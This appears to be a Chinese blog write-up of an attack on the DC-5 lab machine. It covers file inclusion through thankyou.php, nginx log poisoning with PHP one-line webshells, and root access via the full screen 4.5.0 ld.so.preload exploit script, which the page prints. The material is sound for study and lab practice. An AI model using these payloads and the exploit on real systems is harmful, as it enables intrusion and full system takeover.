DC-5 靶机渗透测试
DC-5 靶机渗透测试
冲冲冲,好好学习 。核心:footer 文件包含漏洞,wfuzz 。收获总结写在文末。
谨记任务:找地方上传shell---> root。
操作机:kali 172.66.66.129
靶机:DC-4 172.66.66.135
网络模式:NAT
信息收集
netdiscover 172.66.66.0/24
nmap -A -sV -p- 172.66.66.135 -oN dc-5.nmap
dirb 没啥发现
80/111端口的contact有留言框。
尝试输入,仔细观察输入页面提交后的变化情况
每次提交内容后,copyright@年份 会发生变化,直接访问页面http://172.66.66.135/thankyou.php 也有同样效果。
尝试直接访问 footer.php页面
到这里,很大程度上说明thinkphp模板页里文件包含了footer页面。通常情况下,每使用一个模板也都会包含一个header文件和一个footer文件,在模板布局里提供了一个全局配置的方法,打开配置文件里的 LAYOUT_ON参数(默认不开启),设置布局入口文件名称 LAYOUT_NAME(默认layout)
'LAYOUT_ON'=>true,
'LAYOUT_NAME'=>'layout',
在模板文件夹下建立一个layout.html文件,代码如下下
<include file="Public:header"/>
{__CONTENT__} #这个是特定的替换字符串,加载内容替换进来
<include file="Public:footer"/>
猜想可能有文件包含漏洞,
上wfuzz来解决:
wfuzz -z file,/usr/share/wfuzz/wordlist/general/common.txt http://172.66.66.135/thinkyou.php?FUZZ=/etc/passwd
(感觉passwd能出来也是个巧合?)没有过滤直接就执行语句了。既然可以写进去的话,是不是可以试试用函数执行外部命令,写个一句话木马进去,再上菜刀蚁剑。
先把phpinfo()写进去,先试试,返回400,说客户端发送了个错误的请求,可能是发送成功了嘛。
再访问试试能不能显示出来 http://172.66.66.135/thankyou.php?file=/var/log/nginx/access.log
整裂开了,日志里有语法错误,加载不出来,还原一下靶机....
说明php的函数是可以实现的,换试试passthru() 执行外部命令。
GET <?php passthru($_GET['abc']); ?> HTTP/1.1
用passthru
直接给GET数组里加一个键abc
,然后就有了可控参数了,接下来就能写shell。
写入貌似成功,传参验证一下可行否。
一个大细节,千万注意语法正确,不然日志里有php语法错误,后面的内容就加载不出来了。这里的$_GET['']用单引号。
&abc=cat%20/etc/passwd
执行成功,参数可用。
再
GET <?php @eval($_POST['hack']);?>
http://172.66.66.135/thankyou.php?file=/var/log/nginx/access.log
连上了后查看 /root 仿佛权限不够出错了。
菜刀里打开虚拟终端(当然也可以nc反弹一个shell回来在kali上操作)
交互shell:python -c 'import pty;pty.spawn("/bin/bash")'
打开陌生shell之后要做什么?收集信息,了解当前shell的权限/可用特殊命令/系统信息等
发现一些我觉得陌生的文件/bin/screen-4.5.0、chsh、exim4
Linux screen命令用于多重视窗管理程序。
screen为多重视窗管理程序。此处所谓的视窗,是指一个全屏幕的文字模式画面。通常只有在使用telnet登入主机或是使用老式的终端机时,才有可能用到screen程序。
对这东西太陌生了...
经查发现,screen-4.5.0 版本有漏洞
注意这是本地权限提升,来看下poc
Commit f86a374 ("screen.c: adding permissions check for the logfile name",
2015-11-04)
The check opens the logfile with full root privileges. This allows us to
truncate any file or create a root-owned file with any contents in any
directory and can be easily exploited to full root access in several ways.
> address@hidden:~$ screen --version
> Screen version 4.05.00 (GNU) 10-Dec-16
> address@hidden:~$ id
> uid=125(buczek) gid=125(buczek)
groups=125(buczek),15(users),19(adm),42(admin),154(Omp3grp),200(algrgrp),209(cdgrp),242(gridgrp),328(nchemgrp),407(hoeheweb),446(spwgrp),453(helpdesk),512(twikigrp),584(zmgrp),598(edv),643(megamgrp),677(greedgrp),5000(abt_srv),16003(framesgr),16012(chrigrp),17001(priv_cpw)
> address@hidden:~$ cd /etc
> address@hidden:/etc (master)$ screen -D -m -L bla.bla echo fail
> address@hidden:/etc (master)$ ls -l bla.bla
> -rw-rw---- 1 root buczek 6 Jan 24 19:58 bla.bla
> address@hidden:/etc (master)$ cat bla.bla
> fail
> address@hidden:/etc (master)$
Donald Buczek <address@hidden>
EDB Note: Follow up ~ http://seclists.org/oss-sec/2017/q1/184
散装英语翻译翻译,screen用root权限打开日志文件,然后就允许我们去截断任意文件,在任何目录创建root权限文件( ?)
本地提权,得把exp弄到靶机上,python开一下服务器。
python -m SimpleHTTPServer 9999
路径/usr/share/exploitdb/exploits/linux/local
的41154.sh
把文件放在/tmp目录下,这里谁都有权限,可以写入,新脚本,需要添加执行权限 chmod +x 41154.sh
报错了bad interpreter: No such file or directory
,原因是脚本的文本格式中的换行符不一样,是windows的,需要转换成 unix的,还记得 dos2unix filename
这条命令吗?执行以下 dos2unix 41154.sh
报错信息:
~ gnu/screenroot ~
[+] First, we create our shell and library...
gcc: error trying to exec 'cc1': execvp: No such file or directory
gcc: error trying to exec 'cc1': execvp: No such file or directory
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
ERROR: ld.so: object '/tmp/libhax.so' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
No Sockets found in /tmp/screens/S-www-data.
./aaa.sh: line 42: /tmp/rootshell: No such file or directory
原因是找不到gcc文件
脚本执行出错了,来看看源码研究下:
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
编辑了两个文件libhax.c
rootshell.c
,手动拆解分开执行。单独拿出来编译好再发到靶机上就行了。
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
(警告信息没啥大问题,不影响)
分离出来后,剩下的命令另外放 dc-5.sh
#!/bin/bash
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
改一下文本格式为unix之后,三个文件都传到靶机上。(libhax.so 、 rootshell、dc5.sh)
添加执行权限之后 chomd +x dc5.sh
,执行./dc5.sh
提权成功。/root下flag
最后总结:
得到输入框,尝试输入,观察输入提交后页面的变化情况。
wfuzz会用吗?滚去学... 看看这篇文章。 https://blog.csdn.net/JBlock/article/details/88619117
nginx的日志默认路径在哪?
访问日志:/usr/local/nginx/logs/access.log
或者/var/log/nginx/access.log
错误日志:/usr/loacl/nginx/logs/error.log
或者/var/log/nginx/error.log
访问日志中会记录什么内容?
客户端IP、浏览器信息、referer、请求处理时间、原始请求URL等,一般这些都有,可以记录更加具体的信息,通过
log_format
指令定义(可选)。可选的有:
$butes_sent (发送给客户端的总字节数)
$body_bytes_sent(发送给客户端的字节数,不包括响应头的大小)
$connection(连接序列号)
$connection_requests(当前通过连接发出的请求数量)
$msec(日志写入时间,单位为秒,精度是毫秒)
$pipe(如果请求是通过http流水线发送,则其值为"p",否则为“.")
$request_length(请求长度(包括请求行,请求头和请求体))
$request(完整的原始请求行,如 "GET / HTTP/1.1")
$remote_addr(客户端IP)
$http_referer(请求的referer地址。)
还有很多很多,剩下的去百度..
php默认错误日志文件路径:
/var/log/php-fpm/www-errot.log
passthru()函数
PHP经典的三个执行外部命令的函数之一,exec(),system(),passthru()
具体区别,出门右转看笔记。passthru()执行外部命令,不返回状态码和执行结果(执行成功或失败),但将命令执行得到的内容原样输出
到标准输出上。- 直接用
<?php passthru($_GET["abc"]); ?>
在GET请求头里写入一个的可控参数。那如果是POST的请求,是不是也可以类似的整个参数进去?year 一句话木马就是这个原理- 获取phpinfo()页面中的有用信息:
- 菜刀的工作原理:既然用到了菜刀,趁着有精力就研究一下菜刀的原理
- 网上找到的漏洞poc 和exp,不一定适用于当前的环境,多研究,改一改就好了呢。
DC-5 靶机渗透测试的更多相关文章
- DC-1 靶机渗透测试
DC-1靶机渗透测试 对着镜子大喊三声"太菜了""太菜了""太菜了" DC系列靶机的第一篇.边学习边日靶机边进步,摸爬滚打着前行. 内容不只 ...
- DC-2 靶机渗透测试
DC-2 靶机渗透测试 冲冲冲,好好学习. 本靶机核心内容"受限shell提权",知识点在另一篇文章中总结归纳了. 攻击机:kali 靶 机:DC-2 准备:在使用前需要在操作机的 ...
- DC-9 靶机渗透测试
DC-9 渗透测试 冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已. 靶机IP: 172.66.66.139 kali ...
- DC-7 靶机渗透测试
DC-7 渗透测试 冲冲冲,好好学习 .对管道符的理解加深了好多.最后提权时,遇到了点麻烦.想不懂一条命令为啥能执行生效,耗了一整天才算解决掉. 操作机:kali 172.66.66.129 靶机:D ...
- DC-8 靶机渗透测试
DC-8 渗透测试 冲冲冲 ,好好学习 . 核心:cms上传添加存在漏洞组件,利用该组件getshell 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.137 网络 ...
- DC-6 靶机渗透测试
DC-6 渗透测试 冲冲冲,好好学习 . 收获总结写在文末. 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.136 网络模式:NAT 上来一波 netdiscove ...
- DC-4 靶机渗透测试
DC-4 渗透测试 冲冲冲,努力学习 .掌握 hydra ,nc反弹shell 记住你要干嘛, 找地方上传shell(大多以后台登录为切入点,再反弹shell),shell提权到root 操作机:ka ...
- DC 1-3 靶机渗透
DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...
- vulnhub-DC:7靶机渗透记录
准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...
随机推荐
- 剖析虚幻渲染体系(06)- UE5特辑Part 1(特性和Nanite)
目录 6.1 本篇概述 6.1.1 本篇内容 6.1.2 基础概念 6.2 UE5新特性 6.2.1 UE5编辑器 6.2.1.1 下载编辑器及资源 6.2.1.2 启动示例工程 6.2.1.3 编辑 ...
- Android系统编程入门系列之应用初始化Application
在上一篇文章中我们了解到Android系统启动应用的时候,会首先加载AndroidManifest.xml清单文件中的一系列信息,在清单文件中如果不指定<application></ ...
- 有趣的开源项目集结完毕,HelloGitHub 月刊第 63 期发布啦!
兴趣是最好的老师,HelloGitHub 让你对编程感兴趣! 简介 分享 GitHub 上有趣.入门级的开源项目. 这里有实战项目.入门教程.黑科技.开源书籍.大厂开源项目等,涵盖多种编程语言 Pyt ...
- C++中指针与引用详解
在计算机存储数据时必须要知道三个基本要素:信息存储在何处?存储的值为多少?存储的值是什么类型?因此指针是表示信息在内存中存储地址的一类特殊变量,指针和其所指向的变量就像是一个硬币的两面.指针一直都是学 ...
- VRRP简介以及配置案例
一.背景 二.VRRP 概念介绍 三.实验操作 一.背景 局域网中的用户终端通常采用配置一个默认网关的形式访问外部网络,如果此时默认网关设备发生故障,将中断所有用户终端的网络访问,这很可能会给用户带来 ...
- VLAN的基础介绍与使用方法
一.VLAN概述与优势 二.VLAN的种类 三.VLAN的范围 四.VLAN的三种接口模式 五.VLAN的实例操作 一.VLAN概述与优势 VLAN(虚拟局域网)通过为子网提供数据链路连接来抽象出局域 ...
- [HTML]常用的文本标签(标题、段落、加粗、下划线等标签)
标签类型 写法 说明 标题 <h1></h1>......<h6></h6> 加粗.独占一行(块级元素) 段落 <p></p> ...
- Qt5实现文本编辑器(附图片转PDF与详细代码)
1. 功能介绍 老规矩,我们直接上截图 这是主界面 文件菜单界面 编辑菜单界面 设置菜单界面 关于菜单界面 2. 功能演示 设置字体颜色 设置字体大小 点击关于菜单 点击关于Qt菜单 会自动跳转到Qt ...
- 2、mysql编译安装
2.1前言: 此文档介绍的是cmake编译安装的方式: 二进制的安装方式在linux运维_集群_01中有详细的安装说明(已经编译完成,进行初始操作即可) 初始化操作时需要对编译好的mysql进行一下备 ...
- 解决mount.nfs: access denied by server while mounting
在linux下进行挂载时突然出现: mount.nfs: access denied by server while mounting 第一感觉是读取文件权限不够,准备去更改一下挂载点的权限,但又考 ...